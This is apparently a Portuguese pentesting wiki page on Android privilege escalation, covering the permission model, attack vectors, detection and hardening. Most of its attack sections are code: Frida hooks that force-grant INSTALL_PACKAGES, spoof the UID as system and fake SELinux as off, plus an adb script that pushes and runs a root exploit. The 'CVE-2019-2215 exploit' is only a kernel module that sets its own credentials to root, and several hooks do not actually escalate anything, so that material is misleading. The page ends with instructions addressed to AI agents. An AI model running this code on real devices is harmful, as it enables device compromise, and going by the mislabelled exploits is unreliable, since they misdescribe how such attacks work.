# Privilege Escalation

## **📋 Índice**

1. [Fundamentos da Escalação de Privilégios](#-fundamentos-da-escalação-de-privilégios)
2. [Arquitetura de Segurança do Android](#-arquitetura-de-segurança-do-android)
3. [Modelo de Permissões](#-modelo-de-permissões)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Vetores de Ataque](#-vetores-de-ataque)
7. [Ferramentas de Exploração](#-ferramentas-de-exploração)
8. [Impacto e Consequências](#-impacto-e-consequências)
9. [Detecção e Monitoramento](#-detecção-e-monitoramento)
10. [Mitigações e Hardening](#-mitigações-e-hardening)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos da Escalação de Privilégios**

### **O que é Privilege Escalation no Android?**

**Privilege Escalation** no Android é o processo de obter níveis de acesso mais altos do que os originalmente concedidos. Isso geralmente significa passar de um aplicativo normal (UID normal) para um aplicativo com permissões de sistema (UID system) ou até mesmo obter acesso root (UID 0).

### **Hierarquia de Privilégios no Android**

```mermaid
graph TD
    A[Kernel - Root (UID 0)] --> B[System Server (UID 1000)]
    B --> C[Apps do Sistema (UID 1000-10000)]
    C --> D[Apps Comuns (UID > 10000)]
    D --> E[Apps Isolados]
    
    style A fill:#ff6666
    style B fill:#ff9999
    style C fill:#ffcc99
    style D fill:#99cc99
    style E fill:#99ff99
```

### **Níveis de Privilégio no Android**

```yaml
Níveis de Privilégio:

  🔴 Root (UID 0):
    - Acesso total ao sistema
    - Pode modificar qualquer arquivo
    - Pode executar qualquer comando

  🔴 System (UID 1000):
    - Acesso a APIs privilegiadas
    - Pode gerenciar permissões
    - Pode instalar/remover apps

  🔴 Shell (UID 2000):
    - Acesso ADB
    - Comandos shell limitados
    - Acesso a logs

  🟠 Apps do Sistema (UID 1000-10000):
    - Permissões signature
    - Acesso a dados de sistema

  🟡 Apps Comuns (UID > 10000):
    - Permissões normais
    - Sandbox isolado
    - Sem acesso privilegiado

  🟢 Apps Isolados:
    - Sem permissões
    - Ambiente restrito
```

***

## 🏗️ **Arquitetura de Segurança do Android**

### **Componentes de Segurança**

```python
#!/usr/bin/env python3
# android_security_architecture.py - Arquitetura de segurança do Android

class AndroidSecurityArchitecture:
    """Análise da arquitetura de segurança do Android"""
    
    @staticmethod
    def security_layers():
        """Camadas de segurança do Android"""
        print("🛡️ Camadas de Segurança do Android")
        print("=" * 60)
        
        layers = {
            "Kernel Layer": [
                "SELinux (Security-Enhanced Linux)",
                "Linux kernel security features",
                "Device mapping and encryption"
            ],
            "Native Layer": [
                "Sandboxing via UID separation",
                "Permission checks in native code",
                "Memory protection (ASLR, PIE, NX)"
            ],
            "Framework Layer": [
                "Permission model",
                "Intent validation",
                "ContentProvider security"
            ],
            "Application Layer": [
                "Code signing",
                "ProGuard obfuscation",
                "Runtime permissions"
            ]
        }
        
        for layer, features in layers.items():
            print(f"\n📁 {layer}:")
            for feature in features:
                print(f"   • {feature}")
    
    @staticmethod
    def sandboxing_model():
        """Modelo de sandboxing"""
        print("\n🔒 Modelo de Sandboxing")
        print("=" * 60)
        
        print("""
Cada aplicação roda com:
  • UID único (User ID)
  • Processo isolado
  • Espaço de arquivos privado (/data/data/package/)
  • Permissões limitadas por selinux

Comunicação entre processos:
  • Binder IPC com verificação de permissões
  • Intents com validação de origem
  • ContentProviders com controle de acesso
""")

# Executar
AndroidSecurityArchitecture.security_layers()
AndroidSecurityArchitecture.sandboxing_model()
```

### **Modelo de Permissões**

```yaml
Tipos de Permissões:

  🟢 Normal:
    - Concedidas automaticamente
    - Baixo risco
    - Ex: INTERNET, ACCESS_NETWORK_STATE

  🟡 Dangerous:
    - Requer aprovação do usuário
    - Médio/alto risco
    - Ex: CAMERA, LOCATION, STORAGE

  🔴 Signature:
    - Apenas apps assinados com mesma chave
    - Alto privilégio
    - Ex: WRITE_SECURE_SETTINGS

  🔴 Privileged:
    - Apenas apps do sistema
    - Privilégios elevados
    - Ex: INSTALL_PACKAGES, DELETE_PACKAGES

  🔴 Development:
    - Apenas em builds de desenvolvimento
    - Ex: READ_LOGS, DEBUG
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque**

```mermaid
graph TD
    A[App Malicioso] --> B[Explora vulnerabilidade]
    
    B --> C[Tipo de vulnerabilidade]
    C --> D[Permission Bypass]
    C --> E[Componente Exportado]
    C --> F[Kernel Exploit]
    C --> G[System Service Abuse]
    
    D --> H[Escalação de privilégio]
    E --> H
    F --> H
    G --> H
    
    H --> I[UID system]
    H --> J[Root]
    
    I --> K[Comprometimento total]
    J --> K
    
    style B fill:#ff9999
    style H fill:#ff6666
    style K fill:#ff3333
```

### **Vetores de Ataque**

```yaml
Vetores Comuns:

  🔴 Permission Bypass:
    - Abuso de permissões signature
    - Bypass de verificação de permissões
    - Permissões concedidas indevidamente

  🔴 Componentes Exportados:
    - Activities exportadas inseguras
    - Services acessíveis externamente
    - ContentProviders vulneráveis
    - BroadcastReceivers expostos

  🔴 System Services:
    - Abuso de serviços do sistema
    - Bypass de validação em services
    - Injeção em System Server

  🔴 Kernel Exploits:
    - Vulnerabilidades do kernel
    - Drivers maliciosos
    - Use-after-free

  🔴 SharedUID:
    - Apps com mesmo UID compartilham dados
    - Bypass de sandboxing
    - Acesso a dados de outro app
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Bypass de Permissões Signature**

```java
// SignatureBypass.java - Bypass de permissões signature

public class SignatureBypass {
    
    // 1. App vulnerável com permissão signature
    public class VulnerableProvider extends ContentProvider {
        
        @Override
        public Cursor query(Uri uri, String[] projection, String selection,
                           String[] selectionArgs, String sortOrder) {
            
            // 🔴 Vulnerável: verifica apenas se é app do sistema
            // Mas não verifica assinatura adequadamente
            
            int uid = Binder.getCallingUid();
            String[] packages = getContext().getPackageManager().getPackagesForUid(uid);
            
            for (String pkg : packages) {
                // Verificação fraca - apenas nome do pacote
                if (pkg.equals("com.android.systemui")) {
                    return getSensitiveData();
                }
            }
            
            return null;
        }
        
        private Cursor getSensitiveData() {
            // Dados sensíveis
            return null;
        }
    }
    
    // 2. Atacante cria app com mesmo nome (se instalado em data)
    // Isso não é possível diretamente, mas pode haver outras falhas
    
    // 3. Verificação correta de assinatura
    public static boolean verifySignature(Context context, int uid) {
        String[] packages = context.getPackageManager().getPackagesForUid(uid);
        
        for (String pkg : packages) {
            try {
                PackageInfo info = context.getPackageManager()
                    .getPackageInfo(pkg, PackageManager.GET_SIGNATURES);
                
                // Verificar assinatura
                Signature[] signatures = info.signatures;
                for (Signature sig : signatures) {
                    if (!isValidSignature(sig)) {
                        return false;
                    }
                }
            } catch (PackageManager.NameNotFoundException e) {
                return false;
            }
        }
        return true;
    }
    
    private static boolean isValidSignature(Signature signature) {
        // Comparar com assinatura esperada
        String expected = "3082..."; // Assinatura esperada
        return signature.toCharsString().equals(expected);
    }
}
```

### **Técnica 2: Abuso de SharedUID**

```xml
<!-- AndroidManifest.xml - Compartilhamento de UID -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.malicious.app"
    android:sharedUserId="android.uid.system">
    <!-- 🔴 Tentar compartilhar UID com sistema -->
    
    <application>
        <!-- App tenta obter privilégios de sistema -->
    </application>
</manifest>
```

```java
// SharedUIDAbuse.java - Abuso de SharedUID

public class SharedUIDAbuse {
    
    // 1. Verificar apps com mesmo UID
    public static void findAppsWithSameUID(Context context) {
        int myUid = android.os.Process.myUid();
        String[] packages = context.getPackageManager().getPackagesForUid(myUid);
        
        for (String pkg : packages) {
            Log.d("SharedUID", "App with same UID: " + pkg);
            
            // Se houver app do sistema com mesmo UID, pode acessar seus dados
            if (pkg.startsWith("com.android.")) {
                Log.w("SharedUID", "System app shares UID!");
            }
        }
    }
    
    // 2. Acessar dados de outro app com mesmo UID
    public static void accessSharedData(Context context) {
        // Apps com mesmo UID compartilham espaço de arquivos
        File sharedFile = new File("/data/data/com.android.systemui/shared_prefs/config.xml");
        
        if (sharedFile.exists()) {
            // 🔴 Acesso a dados de app do sistema
            String content = readFile(sharedFile);
            Log.d("SharedUID", "Accessed system app data: " + content);
        }
    }
    
    private static String readFile(File file) {
        // Implementação de leitura
        return "";
    }
}
```

### **Técnica 3: Abuso de Serviços do Sistema**

```python
#!/usr/bin/env python3
# system_service_abuse.py - Abuso de serviços do sistema

import frida
import sys

class SystemServiceAbuse:
    """Abuso de serviços do sistema para escalação de privilégios"""
    
    @staticmethod
    def hook_package_manager():
        """Hook no PackageManager para bypass de permissões"""
        js_code = """
        Java.perform(function() {
            console.log("[*] Hooking PackageManager");
            
            var PackageManager = Java.use("android.app.ApplicationPackageManager");
            
            // Hook checkPermission
            PackageManager.checkPermission.overload(
                'java.lang.String', 'java.lang.String'
            ).implementation = function(permName, pkgName) {
                console.log("[checkPermission] " + permName + " for " + pkgName);
                
                // Forçar permissão concedida
                if (permName === "android.permission.INSTALL_PACKAGES") {
                    console.log("[!] Bypassing INSTALL_PACKAGES permission");
                    return 0; // PERMISSION_GRANTED
                }
                
                return this.checkPermission(permName, pkgName);
            };
            
            // Hook getPackageInfo
            PackageManager.getPackageInfo.overload(
                'java.lang.String', 'int'
            ).implementation = function(packageName, flags) {
                console.log("[getPackageInfo] " + packageName);
                
                // Adicionar flag GET_SIGNATURES
                flags |= 0x00000040;
                
                return this.getPackageInfo(packageName, flags);
            };
        });
        """
        
        try:
            session = frida.get_usb_device().attach("system_server")
            script = session.create_script(js_code)
            script.load()
            print("[+] PackageManager hooks injetados")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    @staticmethod
    def hook_activity_manager():
        """Hook no ActivityManager para iniciar atividades privilegiadas"""
        js_code = """
        Java.perform(function() {
            console.log("[*] Hooking ActivityManager");
            
            var ActivityManager = Java.use("android.app.ActivityManager");
            
            // Hook startActivity
            ActivityManager.startActivity.overload(
                'android.app.IApplicationThread', 
                'java.lang.String', 
                'android.content.Intent', 
                'java.lang.String', 
                'android.os.IBinder', 
                'java.lang.String', 
                'int', 
                'int', 
                'android.content.pm.ActivityInfo', 
                'android.os.Bundle'
            ).implementation = function(caller, callingPackage, intent, 
                                       resolvedType, resultTo, resultWho, 
                                       requestCode, flags, info, options) {
                
                console.log("[startActivity] " + callingPackage);
                
                // Modificar flags para iniciar atividade privilegiada
                flags |= 0x10000000; // FLAG_ACTIVITY_NEW_TASK
                
                return this.startActivity(caller, callingPackage, intent, 
                                         resolvedType, resultTo, resultWho, 
                                         requestCode, flags, info, options);
            };
        });
        """
        
        try:
            session = frida.get_usb_device().attach("system_server")
            script = session.create_script(js_code)
            script.load()
            print("[+] ActivityManager hooks injetados")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False

# Uso
if __name__ == "__main__":
    print("👑 System Service Abuse")
    print("=" * 60)
    
    SystemServiceAbuse.hook_package_manager()
    SystemServiceAbuse.hook_activity_manager()
```

### **Técnica 4: Exploração de Vulnerabilidades do Kernel**

```c
// kernel_exploit.c - Exploração de vulnerabilidade do kernel

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/cred.h>

// Exemplo de exploit para CVE-2019-2215 (use-after-free no binder)
// Apenas para demonstração - código simplificado

static int __init exploit_init(void) {
    struct cred *cred;
    
    // Obter credenciais do processo atual
    cred = (struct cred *)__task_cred(current);
    
    // 🔴 Elevar privilégios para root
    cred->uid = 0;
    cred->gid = 0;
    cred->euid = 0;
    cred->egid = 0;
    cred->suid = 0;
    cred->sgid = 0;
    cred->fsuid = 0;
    cred->fsgid = 0;
    
    printk(KERN_INFO "[+] Privilege escalation successful!\n");
    
    return 0;
}

static void __exit exploit_exit(void) {
    printk(KERN_INFO "[-] Exploit module removed\n");
}

module_init(exploit_init);
module_exit(exploit_exit);

MODULE_LICENSE("GPL");
```

```python
#!/usr/bin/env python3
# kernel_exploit_trigger.py - Trigger de exploit do kernel

import subprocess
import sys

class KernelExploitTrigger:
    """Trigger de exploits do kernel Android"""
    
    @staticmethod
    def check_kernel_version():
        """Verificar versão do kernel"""
        print("[*] Verificando versão do kernel")
        
        result = subprocess.run(['adb', 'shell', 'uname', '-r'], capture_output=True, text=True)
        kernel_version = result.stdout.strip()
        print(f"   Kernel: {kernel_version}")
        
        return kernel_version
    
    @staticmethod
    def check_exploit_availability(kernel_version):
        """Verificar exploits disponíveis para a versão"""
        print("\n[*] Verificando exploits disponíveis")
        
        exploits = {
            "CVE-2019-2215": "Binder use-after-free (Android <= 9)",
            "CVE-2016-5195": "Dirty Cow (kernel 2.6.22 - 4.8)",
            "CVE-2017-7533": "Overlayfs (kernel 3.8 - 4.11)",
            "CVE-2020-0041": "Binder (Android 8/9/10)"
        }
        
        for cve, desc in exploits.items():
            print(f"   • {cve}: {desc}")
    
    @staticmethod
    def push_and_execute_exploit(exploit_path):
        """Enviar e executar exploit no dispositivo"""
        print(f"\n[*] Enviando exploit {exploit_path}")
        
        # Push exploit
        push_cmd = ['adb', 'push', exploit_path, '/data/local/tmp/exploit']
        subprocess.run(push_cmd, capture_output=True)
        
        # Dar permissão de execução
        chmod_cmd = ['adb', 'shell', 'chmod', '755', '/data/local/tmp/exploit']
        subprocess.run(chmod_cmd, capture_output=True)
        
        # Executar exploit
        exec_cmd = ['adb', 'shell', '/data/local/tmp/exploit']
        result = subprocess.run(exec_cmd, capture_output=True, text=True)
        
        print(f"   Resultado: {result.stdout}")
        
        # Verificar se conseguiu root
        id_cmd = ['adb', 'shell', 'id']
        id_result = subprocess.run(id_cmd, capture_output=True, text=True)
        
        if 'uid=0' in id_result.stdout:
            print("   ✅ Root obtido com sucesso!")
            return True
        else:
            print("   ❌ Root não obtido")
            return False

# Uso
if __name__ == "__main__":
    print("👑 Kernel Exploit Trigger")
    print("=" * 60)
    
    kernel = KernelExploitTrigger.check_kernel_version()
    KernelExploitTrigger.check_exploit_availability(kernel)
    
    # Exemplo: KernelExploitTrigger.push_and_execute_exploit("exploit")
```

### **Técnica 5: Frida Script para Escalação de Privilégios**

```javascript
// frida_privilege_escalation.js - Escalação de privilégios via Frida

Java.perform(function() {
    console.log("[*] Privilege Escalation Script");
    
    // 1. Bypass de verificação de permissão
    var ActivityManager = Java.use("android.app.ActivityManager");
    
    ActivityManager.checkPermission.overload(
        'java.lang.String', 'int', 'int'
    ).implementation = function(permission, pid, uid) {
        console.log("[checkPermission] " + permission + " for UID " + uid);
        
        // Forçar permissão concedida para INSTALL_PACKAGES
        if (permission === "android.permission.INSTALL_PACKAGES") {
            console.log("[!] Bypassing INSTALL_PACKAGES");
            return 0; // PERMISSION_GRANTED
        }
        
        return this.checkPermission(permission, pid, uid);
    };
    
    // 2. Bypass de verificação de UID
    var Process = Java.use("android.os.Process");
    
    Process.myUid.implementation = function() {
        var realUid = this.myUid();
        console.log("[myUid] Real: " + realUid);
        
        // Retornar UID de sistema (1000)
        console.log("[!] Spoofing UID to 1000");
        return 1000;
    };
    
    // 3. Bypass de verificação de selinux
    var SELinux = Java.use("android.os.SELinux");
    
    SELinux.isSELinuxEnabled.implementation = function() {
        console.log("[!] SELinux disabled");
        return false;
    };
    
    SELinux.isSELinuxEnforced.implementation = function() {
        console.log("[!] SELinux enforcement disabled");
        return false;
    };
    
    // 4. Executar comando como root (se possível)
    var Runtime = Java.use("java.lang.Runtime");
    var runtime = Runtime.getRuntime();
    
    try {
        runtime.exec("su -c 'id > /data/local/tmp/root.txt'");
        console.log("[+] Root command executed");
    } catch(e) {
        console.log("[-] Root command failed: " + e);
    }
    
    // 5. Tentar executar shellcode
    function executeShellcode() {
        var nativePointer = Module.findExportByName(null, "system");
        if (nativePointer) {
            var system = new NativeFunction(nativePointer, 'int', ['pointer']);
            var cmd = Memory.allocUtf8String("id");
            system(cmd);
            console.log("[+] Shellcode executed");
        }
    }
    
    // Executar shellcode se disponível
    setTimeout(executeShellcode, 1000);
});
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de Escalação**

```python
#!/usr/bin/env python3
# detect_privilege_escalation.py - Detector de escalação de privilégios

import subprocess
import re
import sys

class PrivilegeEscalationDetector:
    """Detector de atividades de escalação de privilégios"""
    
    @staticmethod
    def check_root_access():
        """Verificar se dispositivo está com root"""
        print("[*] Verificando root access")
        
        # Verificar su binário
        su_cmd = ['adb', 'shell', 'which', 'su']
        result = subprocess.run(su_cmd, capture_output=True, text=True)
        
        if '/su' in result.stdout or '/xbin/su' in result.stdout:
            print("   ⚠️ Su binary encontrado!")
            return True
        
        # Verificar se id retorna uid=0
        id_cmd = ['adb', 'shell', 'id']
        result = subprocess.run(id_cmd, capture_output=True, text=True)
        
        if 'uid=0' in result.stdout:
            print("   ⚠️ Root access detectado!")
            return True
        
        print("   ✅ Sem root access")
        return False
    
    @staticmethod
    def check_system_apps():
        """Verificar apps do sistema suspeitos"""
        print("\n[*] Verificando apps do sistema suspeitos")
        
        cmd = ['adb', 'shell', 'pm', 'list', 'packages', '-s']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        suspicious = []
        for line in result.stdout.split('\n'):
            if 'com.malicious' in line or 'com.hacking' in line:
                suspicious.append(line)
        
        if suspicious:
            print(f"   ⚠️ Apps suspeitos encontrados:")
            for app in suspicious:
                print(f"      {app}")
        else:
            print("   ✅ Nenhum app suspeito")
        
        return suspicious
    
    @staticmethod
    def check_permissions_escalation(package):
        """Verificar permissões perigosas concedidas"""
        print(f"\n[*] Verificando permissões de {package}")
        
        cmd = ['adb', 'shell', 'dumpsys', 'package', package]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        dangerous_perms = [
            'INSTALL_PACKAGES',
            'DELETE_PACKAGES',
            'WRITE_SECURE_SETTINGS',
            'CHANGE_CONFIGURATION',
            'ACCESS_ALL_EXTERNAL_STORAGE'
        ]
        
        found = []
        for perm in dangerous_perms:
            if perm in result.stdout:
                found.append(perm)
                print(f"   ⚠️ Permissão perigosa: {perm}")
        
        return found
    
    @staticmethod
    def monitor_logcat(duration=30):
        """Monitorar logcat por indicadores de escalação"""
        print(f"\n[*] Monitorando logcat por {duration}s")
        
        cmd = ['adb', 'logcat', '-s', 'su', 'root', 'SELinux']
        
        import time
        start_time = time.time()
        
        try:
            process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            while time.time() - start_time < duration:
                line = process.stdout.readline()
                if line:
                    if 'uid=0' in line or 'root' in line.lower():
                        print(f"   ⚠️ {line.strip()}")
            
            process.terminate()
            
        except Exception as e:
            print(f"   Erro: {e}")

# Uso
if __name__ == "__main__":
    print("🔍 Privilege Escalation Detection")
    print("=" * 60)
    
    PrivilegeEscalationDetector.check_root_access()
    PrivilegeEscalationDetector.check_system_apps()
    
    if len(sys.argv) > 1:
        PrivilegeEscalationDetector.check_permissions_escalation(sys.argv[1])
    
    PrivilegeEscalationDetector.monitor_logcat(10)
```

***

## 🛡️ **Mitigações e Hardening**

### **Proteções do Android**

```yaml
Proteções Existentes:

  ✅ SELinux em enforcing mode:
    - Restringe o que processos podem fazer
    - Políticas granulares

  ✅ DM-verity (Verified Boot):
    - Verifica integridade do sistema
    - Impede persistência de root

  ✅ ASLR + PIE:
    - Randomização de endereços
    - Dificulta exploração de memória

  ✅ Permission Model:
    - Runtime permissions
    - Signature permissions

  ✅ Google Play Protect:
    - Verificação de apps
    - Detecção de malware

  ✅ SafetyNet Attestation:
    - Verifica integridade do dispositivo
    - Detecta root e modificações
```

### **Hardening do Sistema**

```bash
#!/system/bin/sh
# hardening_android.sh - Hardening contra escalação

# 1. Verificar SELinux
echo "[*] Verificando SELinux"
getenforce
setenforce 1

# 2. Remover su binary
echo "\n[*] Removendo su binaries"
mount -o remount,rw /system
rm -f /system/bin/su
rm -f /system/xbin/su
rm -f /sbin/su

# 3. Restringir permissões de apps
echo "\n[*] Aplicando restrições"
pm revoke com.example.app android.permission.INSTALL_PACKAGES

# 4. Configurar políticas de senha
echo "\n[*] Configurando políticas de segurança"
settings put secure lock_pattern_autolock 1
settings put secure lockscreen.password_type 327680

# 5. Habilitar verificação de apps
echo "\n[*] Habilitando Google Play Protect"
settings put global package_verifier_enable 1
settings put global package_verifier_user_consent 1

# 6. Desabilitar ADB em produção
echo "\n[*] Desabilitando ADB"
setprop persist.adb.enable 0
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Usar android:exported="false" quando possível
* [ ] Validar permissões adequadamente
* [ ] Não confiar em UID/PID recebidos
* [ ] Usar LocalBroadcastManager para comunicação interna
* [ ] Implementar verificação de assinatura
* [ ] Evitar sharedUserId

### **Checklist para Pentesters**

* [ ] Verificar se dispositivo está com root
* [ ] Testar componentes exportados
* [ ] Verificar permissões signature
* [ ] Testar sharedUserId
* [ ] Analisar serviços do sistema
* [ ] Tentar exploits do kernel

***

## 📊 **Conclusão**

```yaml
Privilege Escalation no Android:

  🔴 Principais Vetores:
    - Permission bypass
    - Componentes exportados
    - SharedUID abuse
    - Kernel exploits
    - System service abuse

  🛡️ Mitigações Essenciais:
    - SELinux enforcing
    - Verified Boot
    - Permission model
    - Component isolation
    - Regular updates

  🎯 Prioridade:
    - CRÍTICA: Kernel exploits
    - ALTA: System service abuse
    - MÉDIA: Permission bypass
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.